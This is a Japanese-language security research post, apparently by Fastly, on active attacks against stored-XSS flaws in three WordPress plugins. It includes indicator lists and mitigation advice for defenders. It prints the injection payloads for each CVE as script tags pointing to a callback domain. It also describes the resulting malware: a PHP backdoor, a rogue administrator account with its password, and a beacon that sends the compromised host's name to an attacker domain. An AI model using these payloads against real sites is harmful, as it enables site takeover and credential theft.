WordPress プラグインに存在する未認証の格納型 XSS 脆弱性を狙った攻撃が活発化

Fastly セキュリティリサーチチーム

Fastly のセキュリティリサーチチーム, Fastly

Simran Khalsa

Staff Security Researcher

Xavier Stevens

Staff Security Researcher, Fastly

Matthew Mathur

シニアセキュリティリサーチャー, Fastly

Fastly は、CVE-2024-2194CVE-2023-6961 および CVE-2023-40000 の3つの重大な CVE を悪用する攻撃が活発化していることを確認しました。さまざまな WordPress プラグインに存在するこれらの脆弱性が悪用されると、不適切な入力のサニタイズと出力のエスケープにより、未認証の格納型クロスサイトスクリプティング (XSS) 攻撃を受け、攻撃者による悪意のあるスクリプトの挿入が可能になる可能性があります。

Fastly が観測したこれらの脆弱性を狙った攻撃では、難読化されて外部ドメインにホストされている JavaScript ファイルをポイントするスクリプトタグが挿入されていました。これらの各脆弱性の悪用には同一のスクリプトが使用され、以下の悪質なアクションの実行を目的としていました。

  1. 新しい管理者アカウントの作成

  2. バックドアの挿入

  3. 侵害されたサイトを監視するためと思われる追跡スクリプトの設定 

Autonomous System (AS) の IP Volume Inc に関連付けられている IP アドレス (地理的にオランダに集中) から大量に攻撃が試みられていたことが確認されました。また、攻撃ペイロードで参照されている5つのドメインも特定しました。さらに2つのドメインが最後の追跡フェーズで使用され、これは WordPress プラグインを悪用する過去の攻撃キャンペーンとつながりがありました (1および2)。

脆弱性の詳細

CVE-2024-2194

WP Statistics プラグイン (バージョン14.5およびそれ以前) は URL 検索パラメータを介して格納型クロスサイトスクリプティング攻撃にさらされます。

utm_id="><script src="https://{CALLBACK_DOMAIN}/"></script>

この脆弱性により、未認証の攻撃者が URL 検索パラメータを介して任意の Web スクリプトを挿入することが可能になります。そして、スクリプトが挿入されたページにユーザーがアクセスするたびにこれらのスクリプトが実行されます。攻撃者はこのようなペイロードを含むリクエストを繰り返し送信し、これらのリクエストに「utm_id」パラメータを追加して最もビジター数が多いページにペイロードが現れるようにします。

この脆弱性は Tim Coen 氏によって報告されました。WP Statistics プラグインのアクティブインストール数は60万以上に上ります。統計データによると、バージョン14.5より古いバージョンは、このプラグインを使用する全Webサイトの約48%で依然として使用されています。 

CVE-2023-6961

WP Meta SEO プラグイン (バージョン4.5.12およびそれ以前) は Referer HTTP ヘッダーを介して格納型クロスサイトスクリプティング攻撃にさらされます。

Referer: <script src="https://{CALLBACK_DOMAIN}/"></script>

攻撃者はこのようなペイロードを攻撃対象サイト、特に404のレスポンスを生成するページに送信します。WP Meta SEO プラグインは、サニタイズされていないこのヘッダーをデータベースに挿入してリダイレクトを追跡します。管理者が404とリダイレクトのページを読み込むと、スクリプトは難読化された JavaScript コードをコールバックドメインから取得し、被害者のブラウザでそのコードを実行します。被害者が認証されている場合 (WP の管理者アカウントにログインしている場合など)、認証情報が盗まれ、悪意のある後続のアクションに悪用されます。

この脆弱性は2024年4月16日に CERT Polska の研究者 Krzysztof Zając 氏によって報告されました。WP Meta SEO プラグインのアクティブインストール数は2万以上に上ります。統計データによると、バージョン4.5より古いバージョンは、このプラグインを使用する全Webサイトの約27%で依然として使用されています。

CVE-2023-40000

WordPress の LiteSpeed Cache プラグイン (バージョン5.7.0.1およびそれ以前) は、「nameservers」と「_msg」のパラメータを介して格納型クロスサイトスクリプティング攻撃にさらされます。

result[_msg]=<script src="https://{CALLBACK_DOMAIN}/"></script>

攻撃者は XSS ペイロードを管理者通知として偽装し、管理者がバックエンドページにアクセスすることでこの XSS 脆弱性を悪用した攻撃がトリガーされます。これにより、管理者の認証情報を使用して悪質なスクリプトが実行され、悪意のある後続のアクションが可能になります。

この脆弱性は2024年2月に Patchstack によって報告されました。LiteSpeed Cache プラグインのアクティブインストール数は500万以上に上ります。統計データによると、バージョン5.7より古いバージョンは、このプラグインを使用する全Webサイトの約15.7%で依然として使用されており、多数のサイトがリスクにさらされています。 

JavaScript マルウェア

悪意のある JavaScript によって以下のアクションが実行されます。

  1. 悪意のある PHP バックドアを挿入する

    • プラグインファイル

    • テーマファイル

  2. 新しい管理者アカウントの作成

    • サーバーの WordPress インストールにリクエストを送信し、新しい管理者アカウントを作成します。

  3. 追跡を開始する

    • JavaScript または追跡ピクセルを使用して Yandex 経由での追跡を実装します。

図1 : 悪意のある JavaScript ペイロードの抜粋

悪意のある PHP によって以下が実行されます。

  1. 追跡スクリプトの挿入

    • wp-loads.php を再帰的に検索し、以下を wp-config.php: に挿入します。

      <script src="https://{TRACKING_DOMAIN}/"></script>

  2. WordPress の新しい管理者ユーザーの作成

    • ユーザーネーム : admim

    • パスワード : 7F9SzCnS6g3AFLAO39Ro

    • メール : admim@mystiqueapi[.]com

  3. 侵害されたホストの追跡

    • GET リクエストを以下に送信します。

      hxxp://ur.mystiqueapi[.]com/?ur=<$_SERVER['HTTP_HOST']>

    • これにより、HTTP ホスト情報を取得して侵害されたホストを追跡します。

脅威アクターのアクティビティ

CVE-2024-2194

図2 : CVE-2024-2194 攻撃のアクティビティ

media.cdnstaticjs[.]com のドメインは、CVE-2024-2194 の悪用と関連付けられています。Fastly は、この脆弱性を狙った攻撃が17個の IP アドレスから送信されていることを確認しました。主に AS202425 (IP Volume Inc.) と AS210848 (Telkom Internet LTD) からの攻撃が多く、攻撃の発信元はオランダに集中していました。

CVE-2023-6961

図3 : CVE-2023-6961 攻撃のアクティビティ

idc.cloudiync[.]com のドメインは CVE-2023-6961 の悪用と関連付けられています。これまでに、この脆弱性を悪用しようとする50億件以上のリクエストが AS202425 (IP Volume Inc.) の自律システムに関連する単一の IP アドレス から発信されていました。また5月16日以降、media.cdnstaticjs[.]com も、この脆弱性を狙った攻撃ペイロードで使用されていることが確認されています。このドメインは CVE-2024-2194 を狙った攻撃でも使用されています。

CVE-2023-40000

図4 : CVE-2023-40000 攻撃のアクティビティ

cloud.cdndynamic[.]comgo.kcloudinc[.]comcdn.mediajsdelivery[.]com のドメインは CVE-2023-40000 の悪用と関連付けられています。cdn.mediajsdelivery[.]com のドメインが使用された攻撃が最後に観測されたのは4月15日でした。それ以降は、cloud.cdndynamic[.]com と go.kcloudinc[.]com のみが、この脆弱性を狙った攻撃で使用されています。

他の2つの脆弱性とは異なり、CVE-2023-40000 を悪用する攻撃には多様な IP アドレスと自律システム (AS) が使用され、攻撃がより分散されています。Fastly は、1664件の一意の IP アドレスから攻撃が発信されていることを確認しました。主に AS210848 (Telkom Internet LTD) からの攻撃が多く、攻撃の発信元はオランダに集中していました。

ドメインの追跡

assets.scontentflow[.]com のドメインは、CVE-2023-6961 が公開されてすぐに登録され、idc.cloudiync[.]com から送信されたペイロードで侵害されたサイトに書き込まれていた主なドメインです。私たちの検索によると、このペイロードを含む Web ページはごくわずかであり、このペイロードによる侵害の成功は限られていたことがうかがわれます。 

一方、cache.cloudswiftcdn[.]com のドメインは3つ CVE か公開される前に登録されていました。このドメインを参照する観測済みペイロードは、他の観測済みペイロードと構造が似ていますが、バックドアを仕掛ける目的で40を超えるテーマがさらに追加されていました。PublicWWW での検索によると、3,000以上のページがこのスクリプトを含んでいることが確認されました。これに加えて登録時期が早かったことを考えると、このドメインは他よりも長く使用されている (侵害に使われている期間が長い) 可能性があります。

セキュリティ侵害インジケーター (IOC)

ドメイン

以下は、これらの脆弱性を狙う攻撃と関連があるドメインです。

media.cdnstaticjs[.]com
cloud.cdndynamic[.]com
idc.cloudiync[.]com
cdn.mediajsdelivery[.]com
go.kcloudinc[.]com
assets.scontentflow[.]com
cache.cloudswiftcdn[.]com

IP アドレス 

以下は、これらの脆弱性を狙う攻撃と関連がある IP アドレスです。尚、該当する IP アドレスはこれだけではありません。

80.82.76[.]214
31.43.191[.]220
94.102.51[.]144
94.102.51[.]95
91.223.82[.]150
185.7.33[.]129
101.99.75[.]178
94.242.61[.]217
80.82.78[.]133
111.90.150[.]154
103.155.93[.]120
185.100.87[.]144
185.162.130[.]23
101.99.75[.]215
111.90.150[.]123
103.155.93[.]244
185.209.162[.]247
179.43.172[.]148
185.159.82[.]103
185.247.226[.]37
185.165.169[.]62

対策ガイダンス

インストールしたプラグインを確認して利用可能なアップデートを適用し、疑わしいプラグインに関連付けられているフォルダーを削除します。

管理者権限を持つユーザーに注意します。特に admin のユーザーネームを持ち、admim[@]mystiqueapi[.]com のメールアドレスを使用するユーザーに警戒してください。

予想外の修正がないか、特に、疑わしいスクリプトが含まれていないか、すべてのファイルを検査します。以下のコードが挿入されていないかを確認します。

<script src="hxxps://assets.scontentflow[.]com"</script>
<script src="hxxps://cache.cloudswiftcdn[.]com"</script>

予想外のアウトバウンドリクエスト、特に Yandex の追跡リンクまたは http://ur.mystiqueapi\[.\]com/?ur につながるリクエストがないかを確認します。

上に挙げた攻撃のサインがひとつでも存在することが確認された場合、これらの脆弱性のいずれかを悪用する攻撃を受けていることを意味します。

Fastly のお客様へ

Fastly Next-Gen WAF をご利用のお客様は、これらの攻撃のサインを攻撃ログで確認することで、攻撃を受けているかどうかを判断できます。これら3つの CVE を悪用する攻撃はデフォルトで検出され、「Cross-Site Scripting (XSS)」のシグナルがアタッチされます。これらの攻撃に関連付けられる7つのドメインは「Out-of-Band Domain (OOB-DOMAIN)」シグナルによってフラグされます。

また、攻撃元の IP アドレスは Fastly の Network Learning Exchange (NLX) を通じて Next-Gen WAF のお客様のネットワーク全体で共有されます。さらに対策を講じたい場合や、この攻撃キャンペーンに関する追加のインテリジェンスを作成したい場合は、上述の攻撃のサインを使用してカスタムルールを作成できます。